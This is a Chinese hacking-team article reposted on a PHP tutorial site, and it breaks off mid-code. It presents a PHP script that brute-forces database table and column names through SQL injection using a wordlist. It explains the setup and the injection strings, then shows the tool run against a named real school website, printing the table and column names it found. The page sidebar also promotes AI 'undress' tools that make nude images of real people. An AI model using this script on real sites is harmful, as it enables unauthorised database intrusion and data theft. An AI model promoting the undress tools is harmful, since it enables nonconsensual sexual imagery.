Heim php教程 php手册 do all things in php(注入利用程序编写)

do all things in php(注入利用程序编写)

Jun 13, 2016 am 10:22 AM
php Autor 信息 八进制 利用 团队 安全 Artikel 来源 Injektion 程序 编写

文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
  echo " Universal Database tables explode exploit V0.1 ";
 echo " Written by Mika[EST] ";
 //$keyword="Warning";
 $keyword="error";
 switch($argc){
 case 3:
 $u=" and (select count(*) from MIKA_NAME)>0";
 $dic=$argv[2];
 break;
 case 4:
 $u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!="-t")
 exit("arguments Error");
 $u=" and (select count(MIKA_NAME) from $argv[3])>0#";
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!="-t" || $argv[4] exit("arguments Error");
 if($argv[4]>=2){
 $u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
 }else{
 $u=" and 1=1 union select MIKA_NAME from $argv[3]#";
 }
 $dic=$argv[5];
 break;
 default:
 echo  Usage:$argv[0] [OPTIONS]
 OPTIONS: number --->to indicate column number of a table during a union query

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt

 the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

 OPTIONS: -t

[number] ---> to explode column name of the

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt

 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }

 $old=$argv[1];
 file_exists($dic) or exit("dic file does not exist! ");
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
 print "[+]Searching What you want... ";
 foreach($words as $word){
 //print $word;
 if(preg_match("/^s$/",$word)){
 //print "blank";
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print "source url is:".$url." ";
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match("/$keyword/i",$content)==0){
 print "[*] FOUND:".trim($word);
 }
 else{print ".";}
 }
 ?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:php里,那么你需要把它设置成:
extension_dir = "c:phpext"

然后再继续找到下面这段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.

 ;extension=php_mbstring.dll
 ;extension=php_bz2.dll
 ;extension=php_curl.dll
 ;extension=php_dba.dll
 ;extension=php_dbase.dll
 ;extension=php_exif.dll
 ;extension=php_fdf.dll
 ;extension=php_filepro.dll
 ;extension=php_gd2.dll
 ;extension=php_gettext.dll
 ;extension=php_ifx.dll
看到php_curl.dll了吗?把它前面的分号去掉就可以了。然后保存一下,还没完呢,再去php的目录里找到这两个文件:
libeay32.dll
ssleay32.dll

把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)

言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:
http://www.elkhart.k12.in.us/content.php?id=157

由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 5 mydict.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 ...[*] FOUND:structure..........................................................
看到了吗?找到了一个表,呵呵。再来看看字段:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 -t structure 5 temp.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 [*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
 ..[*] FOUND:content..[*] FOUND:parent_id.........
很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。

如果大家用得过程中出现问题可以自己去改代码,很简单的:-)

另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

换成你的代理就好了,如果不需要代理那就直接注释掉好了。

其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:
 

 if($argc!=2){
 echo   Writte

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem völlig kostenlosen KI-Gesichtstausch-Tool aus!

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian PHP 8.4 Installations- und Upgrade-Anleitung für Ubuntu und Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 bringt mehrere neue Funktionen, Sicherheitsverbesserungen und Leistungsverbesserungen mit einer beträchtlichen Menge an veralteten und entfernten Funktionen. In dieser Anleitung wird erklärt, wie Sie PHP 8.4 installieren oder auf PHP 8.4 auf Ubuntu, Debian oder deren Derivaten aktualisieren. Obwohl es möglich ist, PHP aus dem Quellcode zu kompilieren, ist die Installation aus einem APT-Repository wie unten erläutert oft schneller und sicherer, da diese Repositorys in Zukunft die neuesten Fehlerbehebungen und Sicherheitsupdates bereitstellen.

7 PHP-Funktionen, die ich leider vorher nicht kannte 7 PHP-Funktionen, die ich leider vorher nicht kannte Nov 13, 2024 am 09:42 AM

Wenn Sie ein erfahrener PHP-Entwickler sind, haben Sie möglicherweise das Gefühl, dass Sie dort waren und dies bereits getan haben. Sie haben eine beträchtliche Anzahl von Anwendungen entwickelt, Millionen von Codezeilen debuggt und eine Reihe von Skripten optimiert, um op zu erreichen

So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein So richten Sie Visual Studio-Code (VS-Code) für die PHP-Entwicklung ein Dec 20, 2024 am 11:31 AM

Visual Studio Code, auch bekannt als VS Code, ist ein kostenloser Quellcode-Editor – oder eine integrierte Entwicklungsumgebung (IDE) –, die für alle gängigen Betriebssysteme verfügbar ist. Mit einer großen Sammlung von Erweiterungen für viele Programmiersprachen kann VS Code c

Erklären Sie JSON Web Tokens (JWT) und ihren Anwendungsfall in PHP -APIs. Erklären Sie JSON Web Tokens (JWT) und ihren Anwendungsfall in PHP -APIs. Apr 05, 2025 am 12:04 AM

JWT ist ein offener Standard, der auf JSON basiert und zur sicheren Übertragung von Informationen zwischen Parteien verwendet wird, hauptsächlich für die Identitätsauthentifizierung und den Informationsaustausch. 1. JWT besteht aus drei Teilen: Header, Nutzlast und Signatur. 2. Das Arbeitsprinzip von JWT enthält drei Schritte: Generierung von JWT, Überprüfung von JWT und Parsingnayload. 3. Bei Verwendung von JWT zur Authentifizierung in PHP kann JWT generiert und überprüft werden, und die Funktionen und Berechtigungsinformationen der Benutzer können in die erweiterte Verwendung aufgenommen werden. 4. Häufige Fehler sind Signaturüberprüfungsfehler, Token -Ablauf und übergroße Nutzlast. Zu Debugging -Fähigkeiten gehört die Verwendung von Debugging -Tools und Protokollierung. 5. Leistungsoptimierung und Best Practices umfassen die Verwendung geeigneter Signaturalgorithmen, das Einstellen von Gültigkeitsperioden angemessen.

Wie analysiert und verarbeitet man HTML/XML in PHP? Wie analysiert und verarbeitet man HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

Dieses Tutorial zeigt, wie XML -Dokumente mit PHP effizient verarbeitet werden. XML (Extensible Markup-Sprache) ist eine vielseitige textbasierte Markup-Sprache, die sowohl für die Lesbarkeit des Menschen als auch für die Analyse von Maschinen entwickelt wurde. Es wird üblicherweise für die Datenspeicherung ein verwendet und wird häufig verwendet

PHP -Programm zum Zählen von Vokalen in einer Zeichenfolge PHP -Programm zum Zählen von Vokalen in einer Zeichenfolge Feb 07, 2025 pm 12:12 PM

Eine Zeichenfolge ist eine Folge von Zeichen, einschließlich Buchstaben, Zahlen und Symbolen. In diesem Tutorial wird lernen, wie Sie die Anzahl der Vokale in einer bestimmten Zeichenfolge in PHP unter Verwendung verschiedener Methoden berechnen. Die Vokale auf Englisch sind a, e, i, o, u und sie können Großbuchstaben oder Kleinbuchstaben sein. Was ist ein Vokal? Vokale sind alphabetische Zeichen, die eine spezifische Aussprache darstellen. Es gibt fünf Vokale in Englisch, einschließlich Großbuchstaben und Kleinbuchstaben: a, e, ich, o, u Beispiel 1 Eingabe: String = "TutorialPoint" Ausgabe: 6 erklären Die Vokale in der String "TutorialPoint" sind u, o, i, a, o, ich. Insgesamt gibt es 6 Yuan

Erklären Sie die späte statische Bindung in PHP (statisch: :). Erklären Sie die späte statische Bindung in PHP (statisch: :). Apr 03, 2025 am 12:04 AM

Statische Bindung (statisch: :) implementiert die späte statische Bindung (LSB) in PHP, sodass das Aufrufen von Klassen in statischen Kontexten anstatt Klassen zu definieren. 1) Der Analyseprozess wird zur Laufzeit durchgeführt.

Was sind PHP Magic -Methoden (__construct, __Destruct, __call, __get, __set usw.) und geben Sie Anwendungsfälle an? Was sind PHP Magic -Methoden (__construct, __Destruct, __call, __get, __set usw.) und geben Sie Anwendungsfälle an? Apr 03, 2025 am 12:03 AM

Was sind die magischen Methoden von PHP? Zu den magischen Methoden von PHP gehören: 1. \ _ \ _ Konstrukt, verwendet, um Objekte zu initialisieren; 2. \ _ \ _ Destruct, verwendet zur Reinigung von Ressourcen; 3. \ _ \ _ Call, behandeln Sie nicht existierende Methodenaufrufe; 4. \ _ \ _ GET, Implementieren Sie den dynamischen Attributzugriff; 5. \ _ \ _ Setzen Sie dynamische Attributeinstellungen. Diese Methoden werden in bestimmten Situationen automatisch aufgerufen, wodurch die Code -Flexibilität und -Effizienz verbessert werden.

See all articles